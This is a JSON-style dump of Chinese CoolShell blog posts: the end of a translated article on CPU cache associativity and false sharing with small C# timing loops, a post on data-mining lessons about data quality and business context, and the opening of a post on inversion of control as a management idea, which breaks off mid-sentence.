示例5：缓存关联性\n\n\n缓存设计的一个关键决定是确保每个主存块(chunk)能够存储在任何一个缓存槽里，或者只是其中一些（译者注：此处一个槽位就是一个缓存行）。\n\n\n有三种方式将缓存槽映射到主存块中：\n\n\n1. **直接映射(Direct mapped cache)**  \n\n每个内存块只能映射到一个特定的缓存槽。一个简单的方案是通过块索引chunk\\_index映射到对应的槽位(chunk\\_index % cache\\_slots)。被映射到同一内存槽上的两个内存块是不能同时换入缓存的。（译者注：chunk\\_index可以通过物理地址/缓存行字节计算得到）\n2. **N路组关联(N-way set associative cache)**  \n\n每个内存块能够被映射到N路特定缓存槽中的任意一路。比如一个16路缓存，每个内存块能够被映射到16路不同的缓存槽。一般地，具有一定相同低bit位地址的内存块将共享16路缓存槽。（译者注：相同低位地址表明相距一定单元大小的连续内存）\n3. **完全关联(Fully associative cache)**  \n\n每个内存块能够被映射到任意一个缓存槽。操作效果上相当于一个散列表。\n\n\n直接映射缓存会引发冲突——当多个值竞争同一个缓存槽，它们将相互驱逐对方，导致命中率暴跌。另一方面，完全关联缓存过于复杂，并且硬件实现上昂贵。N路组关联是处理器缓存的典型方案，它在电路实现简化和高命中率之间取得了良好的折中。\n\n\nhttp://my.csdn.net/uploads/201204/18/1334757273_8141.png  \n\n（此图由译者给出，直接映射和完全关联可以看做N路组关联的两个极端，从图中可知当N=1时，即直接映射；当N取最大值时，即完全关联。读者可以自行想象直接映射图例，具体表述见参考资料。）\n\n\n举个例子，4MB大小的L2缓存在我机器上是16路关联。所有64字节内存块将分割为不同组，映射到同一组的内存块将竞争L2缓存里的16路槽位。\n\n\nL2缓存有65,536个缓存行（译者注：4MB/64），每个组需要16路缓存行，我们将获得4096个集。这样一来，块属于哪个组取决于块索引的低12位bit(2^12=4096)。**因此缓存行对应的物理地址凡是以262,144字节(4096\\*64)的倍数区分的，将竞争同一个缓存槽。我机器上最多维持16个这样的缓存槽。**（译者注：请结合上图中的2路关联延伸理解，一个块索引对应64字节，chunk0对应组0中的任意一路槽位，chunk1对应组1中的任意一路槽位，以此类推chunk4095对应组4095中的任意一路槽位，chunk0和chunk4096地址的低12bit是相同的，所以chunk4096、chunk8192将同chunk0竞争组0中的槽位，它们之间的地址相差262,144字节的倍数，而最多可以进行16次竞争，否则就要驱逐一个chunk）。\n\n\n为了使得缓存关联效果更加明了，我需要重复地访问同一组中的16个以上的元素，通过如下方法证明：\n\n\n\n```\npublic static long UpdateEveryKthByte(byte[] arr, int K)\n{\n    Stopwatch sw = Stopwatch.StartNew();\n    const int rep = 1024*1024; // Number of iterations – arbitrary\n    int p = 0;\n    for (int i = 0; i < rep; i++)\n    {\n        arr[p]++;\n        p += K;\n        if (p >= arr.Length) p = 0;\n    }\n    sw.Stop();\n    return sw.ElapsedMilliseconds;\n}\n```\n\n该方法每次在数组中迭代K个值，当到达末尾时从头开始。循环在运行足够长（2^20次）之后停止。\n\n\n我使用不同的数组大小（每次增加1MB）和不同的步长传入UpdateEveryKthByte()。以下是绘制的图表，蓝色代表运行较长时间，白色代表较短时间：  \n\n![timing](../wp-content/uploads/2010/02/image_thumb1_opt.png)  \n\n蓝色区域（较长时间）表明当我们重复数组迭代时，更新的值无法同时放在缓存中。浅蓝色区域对应80毫秒，白色区域对应10毫秒。\n\n\n让我们来解释一下图表中蓝色部分：\n\n\n**1.为何有垂直线？**垂直线表明步长值过多接触到同一组中内存位置（大于16次）。在这些次数里，我的机器无法同时将接触过的值放到16路关联缓存中。\n\n\n一些糟糕的步长值为2的幂：256和512。举个例子，考虑512步长遍历8MB数组，存在32个元素以相距262,144字节空间分布，所有32个元素都会在循环遍历中更新到，因为512能够整除262,144（译者注：此处一个步长代表一个字节）。\n\n\n由于32大于16，这32个元素将一直竞争缓存里的16路槽位。\n\n\n（译者注：为何512步长的垂直线比256步长颜色更深？在同样足够多的步数下，512比256访问到存在竞争的块索引次数多一倍。比如跨越262,144字节边界512需要512步，而256需要1024步。那么当步数为2^20时，512访问了2048次存在竞争的块而256只有1024次。最差情况下步长为262,144的倍数，因为每次循环都会引发一个缓存行驱逐。）\n\n\n有些不是2的幂的步长运行时间长仅仅是运气不好，最终访问到的是同一组中不成比例的许多元素，这些步长值同样显示为蓝线。\n\n\n**2.为何垂直线在4MB数组长度的地方停止？**因为对于小于等于4MB的数组，16路关联缓存相当于完全关联缓存。\n\n\n一个16路关联缓存最多能够维护16个以262,144字节分隔的缓存行，4MB内组17或更多的缓存行都没有对齐在262,144字节边界上，因为16\\*262,144=4,194,304。\n\n\n**3.为何左上角出现蓝色三角？**在三角区域内，我们无法在缓存中同时存放所有必要的数据，不是出于关联性，而仅仅是因为L2缓存大小所限。\n\n\n举个例子，考虑步长128遍历16MB数组，数组中每128字节更新一次，这意味着我们一次接触两个64字节内存块。为了存储16MB数组中每两个缓存行，我们需要8MB大小缓存。但我的机器中只有4MB缓存（译者注：这意味着必然存在冲突从而延时）。\n\n\n即使我机器中4MB缓存是全关联，仍无法同时存放8MB数据。\n\n\n**4.为何三角最左边部分是褪色的？**注意左边0~64字节部分——正好一个缓存行！就像上面示例1和2所说，额外访问相同缓存行的数据几乎没有开销。比如说，步长为16字节，它需要4步到达下一个缓存行，也就是说4次内存访问只有1次开销。\n\n\n在相同循环次数下的所有测试用例中，采取省力步长的运行时间来得短。\n\n\n将图表延伸后的模型：  \n\n![timing2](../wp-content/uploads/2010/02/assoc_big_thumb1_opt.png)\n\n\n缓存关联性理解起来有趣而且确能被证实，但对于本文探讨的其它问题比起来，它肯定不会是你编程时所首先需要考虑的问题。\n\n\n#### 示例6：缓存行的伪共享(false-sharing)\n\n\n在多核机器上，缓存遇到了另一个问题——一致性。不同的处理器拥有完全或部分分离的缓存。在我的机器上，L1缓存是分离的（这很普遍），而我有两对处理器，每一对共享一个L2缓存。这随着具体情况而不同，如果一个现代多核机器上拥有多级缓存，那么快速小型的缓存将被处理器独占。\n\n\n**当一个处理器改变了属于它自己缓存中的一个值，其它处理器就再也无法使用它自己原来的值，因为其对应的内存位置将被刷新(invalidate)到所有缓存。而且由于缓存操作是以缓存行而不是字节为粒度，所有缓存中整个缓存行将被刷新！**\n\n\n为证明这个问题，考虑如下例子：\n\n\n\n```\nprivate static int[] s_counter = new int[1024];\nprivate void UpdateCounter(int position)\n{\n    for (int j = 0; j < 100000000; j++)\n    {\n        s_counter[position] = s_counter[position] + 3;\n    }\n}\n```\n\n在我的四核机上，如果我通过四个线程传入参数0,1,2,3并调用UpdateCounter，所有线程将花费4.3秒。\n\n\n另一方面，如果我传入16,32,48,64，整个操作进花费0.28秒！\n\n\n为何会这样？第一个例子中的四个值很可能在同一个缓存行里，每次一个处理器增加计数，这四个计数所在的缓存行将被刷新，而其它处理器在下一次访问它们各自的计数（译者注：注意数组是private属性，每个线程独占）将失去命中(miss)一个缓存。这种多线程行为有效地禁止了缓存功能，削弱了程序性能。\n\n\n#### 示例7：硬件复杂性\n\n\n即使你懂得了缓存的工作基础，有时候硬件行为仍会使你惊讶。不用处理器在工作时有不同的优化、探试和微妙的细节。\n\n\n有些处理器上，L1缓存能够并发处理两路访问，如果访问是来自不同的存储体，而对同一存储体的访问只能串行处理。而且处理器聪明的优化策略也会使你感到惊讶，比如在伪共享的例子中，以前在一些没有微调的机器上运行表现并不良好，但我家里的机器能够对最简单的例子进行优化来减少缓存刷新。\n\n\n下面是一个“硬件怪事”的奇怪例子：\n\n\n\n```\nprivate static int A, B, C, D, E, F, G;\nprivate static void Weirdness()\n{\n    for (int i = 0; i < 200000000; i++)\n    {\n        // do something...\n    }\n}\n```\n\n当我在循环体内进行三种不同操作，我得到如下运行时间：\n\n\n**操作**                    **时间**  \n\nA++; B++; C++; D++;     719 ms  \n\nA++; C++; E++; G++;     448 ms  \n\nA++; C++;                      518 ms\n\n\n增加A,B,C,D字段比增加A,C,E,G字段花费更长时间，更奇怪的是，增加A,C两个字段比增加A,C,E,G执行更久！\n\n\n我无法肯定这些数字背后的原因，但我怀疑这跟存储体有关，如果有人能够解释这些数字，我将洗耳恭听。\n\n\n这个例子的教训是，你很难完全预测硬件的行为。你可以预测很多事情，但最终，衡量及验证你的假设非常重要。\n\n\n#### 关于第7个例子的一个回帖\n\n\nGoz：我询问Intel的工程师最后的例子，得到以下答复：\n\n\n“很显然这涉及到执行单元里指令是怎样终止的，机器处理存储-命中-加载的速度，以及如何快速且优雅地处理试探性执行的循环展开（比如是否由于内部冲突而多次循环）。但这意味着你需要非常细致的流水线跟踪器和模拟器才能弄明白。在纸上预测流水线里的乱序指令是无比困难的工作，就算是设计芯片的人也一样。对于门外汉来说，没门，抱歉！”\n\n\n#### P.S.个人感悟——局部性原理和流水线并发\n\n\n程序的运行存在**时间和空间上的局部性**，前者是指只要内存中的值被换入缓存，今后一段时间内会被多次引用，后者是指该内存附近的值也被换入缓存。如果在编程中特别注意运用局部性原理，就会获得性能上的回报。\n\n\n比如**C语言中应该尽量减少静态变量的引用，**这是因为静态变量存储在全局数据段，在一个被反复调用的函数体内，引用该变量需要对缓存多次换入换出，而如果是分配在堆栈上的局部变量，函数每次调用CPU只要从缓存中就能找到它了，因为堆栈的重复利用率高。\n\n\n再比如**循环体内的代码要尽量精简，**因为代码是放在指令缓存里的，而指令缓存都是一级缓存，只有几K字节大小，如果对某段代码需要多次读取，而这段代码又跨越一个L1缓存大小，那么缓存优势将荡然无存。\n\n\n关于**CPU的流水线(pipeline)并发性**简单说说，Intel Pentium处理器有两条流水线U和V，每条流水线可各自独立地读写缓存，所以可以在一个时钟周期内同时执行两条指令。但这两条流水线不是对等的，U流水线可以处理所有指令集，V流水线只能处理简单指令。\n\n\nCPU指令通常被分为四类，第一类是常用的简单指令，像mov, nop, push, pop, add, sub, and, or, xor, inc, dec, cmp, lea，可以在任意一条流水线执行，只要相互之间不存在依赖性，完全可以做到指令并发。\n\n\n第二类指令需要同别的流水线配合，像一些进位和移位操作，这类指令如果在U流水线中，那么别的指令可以在V流水线并发运行，如果在V流水线中，那么U流水线是暂停的。\n\n\n第三类指令是一些跳转指令，如cmp,call以及条件分支，它们同第二类相反，当工作在V流水线时才能通U流水线协作，否则只能独占CPU。\n\n\n第四类指令是其它复杂的指令，一般不常用，因为它们都只能独占CPU。\n\n\n如果是汇编级别编程，**要达到指令级别并发，必须要注重指令之间的配对。**尽量使用第一类指令，避免第四类，还要在顺序上减少上下文依赖。\n\n\n#### 参考资料\n\n\nwiki上的CPU cache解析（[中文版](http://zh.wikipedia.org/zh-cn/CPU%E7%BC%93%E5%AD%98)）（[英文版](https://en.wikipedia.org/wiki/CPU_cache)）。\n\n\n上海交通大学师生制作的一个关于[cache映射功能、命中率计算](http://yoursunny.com/study/EI209/?topic=cache)的教学演示程序，模拟了不同关联模式下cache的映射和命中几率，形象直观。\n\n\n网易数据库大牛[@何\\_登成](http://weibo.com/u/2216172320)自制PPT[《CPU Cache and Memory Ordering》](http://vdisk.weibo.com/s/dBzv2sibdUB8)，信息量超大！\n\n\n南京大学计算机教学[公开PPT](http://cs.nju.edu.cn/swang/CompArchOrg_12F/slides/lecture09.pdf)，温馨提示，地址域名里面改变字段”lecture”后面的数字编号可切换课程;-)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![与程序员相关的CPU缓存知识](../wp-content/uploads/2020/03/cpu_512x512-150x150.png)](https://coolshell.cn/articles/20793.html)[与程序员相关的CPU缓存知识](https://coolshell.cn/articles/20793.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\n* [![疫苗：Java HashMap的死循环](../wp-content/uploads/2013/05/race_condition-150x150.jpg)](https://coolshell.cn/articles/9606.html)[疫苗：Java HashMap的死循环](https://coolshell.cn/articles/9606.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/2039.html)[CPU的性价比](https://coolshell.cn/articles/2039.html)\n* [![版本控制Subversion相关资源](../wp-content/uploads/2009/03/tortoisesvn-150x150.png)](https://coolshell.cn/articles/93.html)[版本控制Subversion相关资源](https://coolshell.cn/articles/93.html)\nThe post [7个示例科普CPU Cache](https://coolshell.cn/articles/10249.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-7-31 数据的游戏：冰与火.md",
    "content": "---\nlayout: post\ntitle: 数据的游戏：冰与火\ndate: 2013/7/31/ 0:11:17\nupdated: 2013/7/31/ 0:11:17\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/07/game-of-thrones-300x206.jpg)我对数据挖掘和机器学习是新手，从去年7月份在Amazon才开始接触，而且还是因为工作需要被动接触的，以前都没有接触过，做的是需求预测机器学习相关的。后来，到了淘宝后，自己凭兴趣主动地做了几个月的和用户地址相关数据挖掘上的工作，有一些浅薄的心得。下面这篇文章主要是我做为一个新人仅从事数据方面技术不到10个月的一些心得，也许对你有用，也许很傻，不管怎么样，欢迎指教和讨论。\n\n\n另外，注明一下，这篇文章的标题模仿了一个美剧《[权力的游戏：冰与火之歌](http://movie.douban.com/subject/3016187/)》。在数据的世界里，我们看到了很多很牛，很强大也很有趣的案例。但是，**数据就像一个王座一样，像征着一种权力和征服，但登上去的路途一样令人胆颤**。\n\n\n#### 数据挖掘中的三种角色\n\n\n在Amazon里从事机器学习的工作时，我注意到了Amazon玩数据的三种角色。\n\n\n* **Data Analyzer：数据分析员**。这类人的人主要是分析数据的，从数据中找到一些规则，并且为了数据模型的找不同场景的Training Data。另外，这些人也是把一些脏数据洗干净的的人。\n\n\n* **Research Scientist：研究科学家**。这种角色主要是根据不同的需求来建立数据模型的。他们把自己戏称为不近人间烟火的奇异性物种，就像《生活大爆炸》里的 那个Sheldon一样。这些人基本上玩的是数据上的科学\n\n\n* **Software Developer ：软件开发工程师**。主要是把 Scientist 建立的数据模型给实现出来，交给Data Analyzer去玩。这些人通常更懂的各种机器学习的算法。\n\n\n我相信其它公司的做数据挖掘或是机器学习的也就这三种工作，或者说这三种人，对于我来说，\n\n\n\n* **最有技术含量的是 Scientist**，因为数据建模和抽取最有意义的向量，以及选取不同的方法都是这类人来决定的。这类人，我觉得在国内是找不到的。\n\n\n* **最苦逼，也最累，但也最重要的是Data Analyzer**，他们的活也是这三个角色中最最最重要的（注意：我用了三个最）。因为，无论你的模型你的算法再怎么牛，在一堆烂数据上也只能干出一堆垃圾的活来。正所谓：Garbage In, Garbage Out ！但是这个活是最脏最累的活，也是让人最容易退缩的活。\n\n\n* **最没技术含量的是Software Developer**。现在国内很多玩数据的都以为算法最重要，并且，很多技术人员都在研究机器学习的算法。错了，最重要的是上面两个人，一个是苦逼地洗数据的Data Analyzer，另一个是真正懂得数据建模的Scientist！而像什么[K-Means](https://coolshell.cn/articles/7779.html \"K-Means 算法\")，[K Nearest Neighbor](https://coolshell.cn/articles/8052.html \"K Nearest Neighbor 算法\")，或是别的什么贝叶斯、回归、决策树、随机森林等这些玩法，都很成熟了，而且又不是人工智能，说白了，这些算法在机器学习和数据挖掘中，似乎就像Quick Sort之类的算法在软件设计中基本没什么技术含量。当然，我不是说算法不重要，我只想说这些算法在整个数据处理中是最不重要的。\n\n\n#### 数据的质量\n\n\n**目前所流行的Buzz Word——大数据是相当误导人的。在我眼中，数据不分大小，只分好坏。**\n\n\n在处理数据的过程中，我第一个感受最大的就是数据质量。下面我分几个案例来说明：\n\n\n##### 案例一：数据的标准\n\n\n在Amazon里，所有的商品都有一个唯一的ID，叫ASIN——Amazon Single Identify Number，这个ID是用来标识商品的唯一性的（来自于条形码）。也就是说，无论是你把商品描述成什么样，只要ASIN一样，这就是完完全全一模一样的商品。\n\n\n这样，就不像淘宝一样，当你搜索一个iPhone，你会出现一堆各种各样的iPhone，有的叫“超值iPhone”，有的叫“苹果iPhone”，有的叫“智能手机iPhone”，有的叫“iPhone 白色/黑色”……，这些同一个商品不同的描述是商家为了吸引用户。但是带来的问题有两点：\n\n\n1）**用户体验不好**。以商品为中心的业务模型，对于消费者来说，体验明显好于以商家为中心的业务模型。\n\n\n2）**只要你不能正确读懂（识别）数据，你后面的什么算法，什么模型统统没用**。\n\n\n所以，只要你玩数据，你就会发现，**如果数据的标准没有建立起来，干什么都没用。数据标准是数据质量的第一道关卡**，没这个玩意，你就什么也别玩了。所谓数据的标准，为数据做唯一标识只是其中最最基础的一步，数据的标准还单单只是这个，**更重要的是把数据的标准抽象成数学向量，没有数学向量，后面也无法挖掘**。\n\n\n所以，你会看到，**洗数据的大量的工作就是在把杂乱无章的数据归并聚合，这就是在建立数据标准。这里面绝对少不了人肉的工作**。无非就是：\n\n\n* 聪明的人在数据产生之前就定义好标准，并在数据产生之时就在干数据清洗的工作。\n\n\n* 一般的人是在数据产生并大量堆积之后，才来干这个事。\n\n\n另外，说一下Amazon的ASIN，这个事从十多年前就开始了，我在Amazon的内网里看到的资料并没有说为什么搞了个这样一个ID，我倒觉得这并不是因为Amazon因为玩数据发现必需建议个商品ID，也许因为Amazon的业务模型就是设计成以“商品为中心”的。今天，这个ASIN依然有很多很多的问题，ASIN一样不能完全保证商品就是一样的，ASIN不一样也不代表商品不一样，不过90%以上的商品是保证的。Amazon有专门的团队Category Team，里面有很多业务人员天天都在拼命地在对ASIN的数据进行更正。\n\n\n##### 案例二：数据的准确\n\n\n用户地址是我从事过数据分析的另一个事情。我还记得当时看到那数以亿计的用户地址的数据的那种兴奋。但是随后我就兴奋不起来了。因为地址是用户自己填写的，这里面有很多的坑，都不是很容易做的。\n\n\n第一个是假/错地址，因为有的商家作弊或是用户做测试。所以地址是错的，\n\n\n* 比如，直接就输入“该地址不存在”，“13243234asdfasdi”之类的。这类的地址是可以被我的程序识别出来的。\n\n\n* 还有很难被我的程序所识别出来的。比如：“宇宙路地球小区”之类的。但这类地址可以被人识别出来。\n\n\n* 还有连人都识别不出来的，比如：“北京市东四环中路23号南航大厦5楼540室”，这个地址根本不存在。\n\n\n第二个是真地址，但是因为用户写的不标准，所以很难处理，比如：\n\n\n* 缩写：“建国门外大街” 和 “建外大街”，“中国工商银行”和“工行”……\n\n\n* 错别字：“潮阳门”，“通慧河”……\n\n\n* 颠倒：“东四环中路朝阳公园” 和 “朝阳公园 （靠东四环）” ……\n\n\n* 别名：有的人写的是开发商的小区名“东恒国际”，有的则是写行政的地名“八里庄东里”……\n\n\n这样的例子多得不能再多了。可见数据如果不准确，会增加你处理的难度。有个比喻非常好，**玩数据的就像是在挖金矿一样，如果含金量高，那么，挖掘的难度就小，也就容易出效果，如果含金量低，那么挖掘的难度就大，效果就差**。\n\n\n上面，我给了两个案例，旨在说明——\n\n\n**1）数据没有大小之分，只有含金量大的数据和垃圾量大的数据之分**。\n\n\n**2）数据清洗是一件多么重要的工作，这也是一件人肉工作量很大的工作。**\n\n\n所以，这个工作最好是在数据产生的时候就一点一滴的完成。\n\n\n有一个观点：**如果数据准确度在60%的时候，你干出来的事，一定会被用户骂！如果数据准确度在80%左右，那么用户会说，还不错！只有数据准确度到了90%的时候，用户才会觉得真牛B。但是从数据准确度从80%到90%要付出的成本要比60% 到 80%的付出大得多得多**。大多数据的数据挖掘团队都会止步于70%这个地方。因为，再往后，这就是一件相当累的活。\n\n\n#### 数据的业务场景\n\n\n我不知道有多少数据挖掘团队真正意识到了业务场景和数据挖掘的重要关系？**我们需要知道，根本不可能做出能够满足所有业务的数据挖掘和分析模型**。\n\n\n推荐音乐视频，和电子商务中的推荐商品的场景完全不一样。电商中，只要你买了一个东西没有退货，那么，有很大的概率我可以相信你是喜欢这个东西的，然后，对于音乐和视频，你完全不能通过用户听了这首歌或是看了这个视频就武断地觉得用户是喜欢这首歌和这个视频的，所以，我们可以看到，推荐算法在不同的业务场景下的实现难度也完全不一样。\n\n\n说到推荐算法，你是不是和我一样，有时候会对推荐有一种感觉——**推荐就是一种按不同维度的排序的算法**。我个人以为，就提一下推荐这个东西在某些业务场景下是比较Tricky的，比如，推荐有两种（不是按用户关系和按物品关系这两种），\n\n\n* 一种是共性化推荐，结果就是推荐了流行的东西，这也许是好 的，但这也许会是用户已知的东西，比如，到了北京，我想找个饭馆，你总是给我推荐烤鸭，我想去个地方，你总是给我推荐天安门故宫天坛（因为大多数人来北京就是吃烤鸭，就是去天安门的），这些我不都知道了嘛，还要你来推荐？另外，共性化的东西通常是可以被水军刷的。\n\n\n* 另一种是一种是个性化推荐，这个需要分析用户的个体喜好，好的就是总是给我我喜欢的，不好的就是也许我的口味会随我的年龄和环境所改变，而且，总是推荐符合用户口味的，不能帮用户发掘新鲜点。比如，我喜欢吃辣的，你总是给我推荐川菜和湘菜，时间长了我也会觉得烦的。\n\n\n**推荐有时并不是民主投票，而是专业用户或资深玩家的建议；推荐有时并不是推荐流行的，而是推荐新鲜而我不知道的**。你可以看到，不同的业务场景，不同的产品形态下的玩法可能完全不一样，\n\n\n另外，就算是对于同一个电子商务来说，书、手机 和服装的业务形态完全不一样。我之前在Amazon做Demand Forecasting（用户需求预测）——通过历史数据来预测用户未来的需求。\n\n\n* 对于书、手机、家电这些东西，在Amazon里叫Hard Line的产品，你可以认为是“标品”（但也不一定），预测是比较准的，甚至可以预测到相关的产品属性的需求。\n\n\n* 但是地于服装这样的叫Soft Line的产品，Amazon干了十多年都没有办法预测得很好，因为这类东西受到的干扰因素太多了，比如：用户的对颜色款式的喜好，穿上去合不合身，爱人朋友喜不喜欢…… 这类的东西太容易变了，买得人多了反而会卖不好，所以根本没法预测好，更别Stock/Vender Manager 提出来的“预测某品牌的某种颜色的衣服或鞋子”。\n\n\n对于需求的预测，我发现，长期在这个行业中打拼的人的预测是最准的，什么机器学习都是浮云。机器学习只有在你要面对的是成千上万种不同商品和品类的时候才会有意义。\n\n\n**数据挖掘不是人工智能，而且差得还太远。不要觉得数据挖掘什么事都能干，找到一个合适的业务场景和产品形态，比什么都重要**。\n\n\n#### 数据的分析结果\n\n\n我看到很多的玩大数据的，基本上干的是数据统计的事，从多个不同的维度来统计数据的表现。最简单最常见的统计就是像网站统计这样的事。比如：PV是多少，UV是多少，来路是哪里，浏览器、操作系统、地理、搜索引擎的分布，等等，等等。\n\n\n唠叨一句，千万不要以为，你一天有十几个T的日志就是数据了，也不要以为你会用Hadoop/MapReduce分析一下日志，这就是数据挖掘了，说得难听一点，你在做的只不过是一个统计的工作。那几个T的Raw Data，基本上来说没什么意义，只能叫日志，连数据都算不上，只有你统计出来的这些数据才是有点意义的，才能叫数据。\n\n\n当一个用户在面对着自己网店的数据的时候，比如：每千人有5个人下单，有65%的访客是男的，18-24岁的人群有30%，等等。甚至你给出了，你打败了40%同类型商家的这样的数据。作为一个商户，面对这些数据时，大多数人的表现是完全不知道自己能干什么？是把网站改得更男性一点，还是让年轻人更喜欢一点？完全不知道所措。\n\n\n只要你去看一看，你会发现，好些好些的数据分析出来的结果，看上去似乎不错，但是其实完全不知道下一步该干什么？\n\n\n所以，我觉得，**数据分析的结果并不仅仅只是把数据呈现出来，而更应该关注的是通过这些数据后面可以干什么？如果看了数据分析的结果后并不知道可以干什么，那么这个数据分析是失败的。**\n\n\n#### 总结\n\n\n综上所述，下面是我觉得数据挖掘或机器学习最重要的东西：\n\n\n1）**数据的质量**。分为数据的标准和数据的准确。数据中的杂音要尽量地排除掉。为了数据的质量，大量人肉的工作少不了。\n\n\n2）**数据的业务场景**。我们不可能做所有场景下的来，所以，业务场景和产品形态很重要，我个人感觉业务场景越窄越好。\n\n\n3）**数据的分析结果**，要让人能看得懂，知道接下来要干什么，而不是为了数据而数据。\n\n\n搞数据挖掘的人很多，但成功的案例却不多（相比起大量的尝试来说），就目前而言，**我似乎觉得目前的数据挖掘的技术是一种过渡技术，还在摸索阶段。另外，好些数据挖掘的团队搞得业务不业务，技术不技术的，为其中的技术人员感到惋惜**……\n\n\n不好意思，我只给出了问题，没有建议，这也说明数据分析中有很多的机会……\n\n\n最后，还要提的一个是“**数据中的个人隐私问题**”，这似乎就像那些有悖伦理的黑魔法一样，你要成功就得把自己变得黑暗。是的，**数据就像一个王座一样，像征着一种权力和征服，但登上去的路途一样令人胆颤**。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![K Nearest Neighbor 算法](../wp-content/uploads/2012/08/220px-KnnClassification.svg_-150x150.png)](http://coolshell.cn/articles/8052.html)[K Nearest Neighbor 算法](http://coolshell.cn/articles/8052.html)\n* [![K-Means 算法](../wp-content/uploads/2012/06/K-Means-150x150.gif)](http://coolshell.cn/articles/7779.html)[K-Means 算法](http://coolshell.cn/articles/7779.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](http://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](http://coolshell.cn/articles/5353.html)\n* [![挑战无处不在](../wp-content/uploads/2012/04/11_154056_1-300x225-1-150x150.jpg)](http://coolshell.cn/articles/7048.html)[挑战无处不在](http://coolshell.cn/articles/7048.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](http://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](http://coolshell.cn/articles/4758.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](http://coolshell.cn/articles/3589.html)[食客还是大厨](http://coolshell.cn/articles/3589.html)\nThe post [数据的游戏：冰与火](https://coolshell.cn/articles/10192.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-7-5 IoC_DIP其实是一种管理思想.md",
    "content": "---\nlayout: post\ntitle: IoC/DIP其实是一种管理思想\ndate: 2013/7/5/ 0:44:3\nupdated: 2013/7/5/ 0:44:3\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-300x200.jpg) 关于IoC的的概念提出来已经很多年了，其被用于一种面象对像的设计。我在这里再简单的回顾一下这个概念。我先谈技术，再说管理。\n\n\n话说，我们有一个开关要控制一个灯的开和关这两个动作，最常见也是最没有技术含量的实现会是这个样子：\n\n\n![](../wp-content/uploads/2013/07/IoC1.jpg)\n\n\n然后，有一天，我们发现需要对灯泡扩展一下，于是我们做了个抽象类：\n\n\n![](../wp-content/uploads/2013/07/IoC2.jpg)\n\n\n但是，如果有一天，我们发现这个开关可能还要控制别的不单单是灯泡的东西，我们就发现这个开关耦合了灯泡这种类别，非常不利于我们的扩展，于是反转控制出现了。\n\n\n就像现实世界一样，造开关的工厂根本不关心要控制的东西是什么，它只做一个开关应该做好的事，就是把电接通，把电断开（不管是手动的，还是声控的，还是光控，还是遥控的），而我们的造各种各样的灯泡（不管是日关灯，白炽灯）的工厂也不关心你用什么样的开关，反正我只管把灯的电源接口给做出来，然后，开关厂和电灯厂依赖于一个标准的通电和断电的接口。于是产生了IoC控制反转，如下图：\n\n\n\n![](../wp-content/uploads/2013/07/IoC3.jpg)\n\n\n**所谓控制反转的意思是，开关从以前的设备的专用开关，转变到了控制电源的开关，而以前的设备要反过来依赖于开关厂声明的电源连接接口。只要符合开关厂定义的电源连接的接口，这个开关可以控制所有符合这个电源连接接口的设备**。**也就是说，开关从依赖设备这种情况，变成了，设备反过来依赖于开关所定义的接口**。\n\n\n只要你看过我的那篇《[面向对象设计其实和面象对象一点关系也没有](https://coolshell.cn/articles/8961.html \"从面向对象的设计模式看软件设计\")》，你就知道这样的例子在生活中太多见了。比如说：\n\n\n1）在交易的过程中，卖家向买家卖东西，一手交钱一手交货，所以，基本上来说卖家和买家必需强耦合（必需见面）。这个时候，银行出来做担保，买家把钱先垫到银行，银行让卖家发货，买家验货后，银行再把钱打给卖家。这就是反转控制。买卖双方把对对方的直接控制，反转到了让对方来依赖一个标准的交易模型的接口。股票交易也是一样的，证交所就是买卖双方的标准交易模型接口。\n\n\n2）上面这个例子，可能还不明显，再举一个例子。海尔公司作为一个电器制商需要把自己的商品分销到全国各地，但是发现，不同的分销渠道有不同的玩法，于是派出了各种销售代表玩不同的玩法，随着渠道越来越多，发现，每增加一个渠道就要新增一批人和一个新的流程，严重耦合并依赖各渠道商的玩法。实在受不了了，于是制定业务标准，开发分销信息化系统，只有符合这个标准的渠道商才能成为海尔的分销商。让各个渠道商反过来依赖自己标准。反转了控制，倒置了依赖。\n\n\n**可见，控制反转和依赖倒置不单单的一种设计模式，反而更是一种管理模式。**\n\n\n在大公司中，有很多很多的团队，这些团队开发的软件有很多依赖，跨团队合作是一件挺麻烦的事情，下面是一些比较真实的示例：\n\n\n1）一个网页会有很多频道，于是，我们的前端工程师进入到各个页面为各种频道开发他们的页面，随着频道越来越多，前端开发工程师的人数也越来越多，每增加一个频道，就要增加一个为这个频道服务的前端团队，于是，人数越来越多，干成了劳动密集型。为什么不反转控制，倒置依赖呢？前端的同学完全可以开发出各种页面的标准组件，布局，模板，以前与后端交互框架，然后，让后端的同学反过来依赖于前端的标准，使用前端的框架，前端的布局，模板，和组件，以向前端接入后端的模块。\n\n\n2）一个平台需要接入各种各样的业务系统，这些垂直业务系统都有自己的账号体系，于是这个平台为了要兼这些垂直系统的账号体系以做到权限控制，需要做各个系统和自己系统中的账号映射，并为账号和分配出来的资源设置各垂直系统的标识，还要在自己的代码中要写很多很多的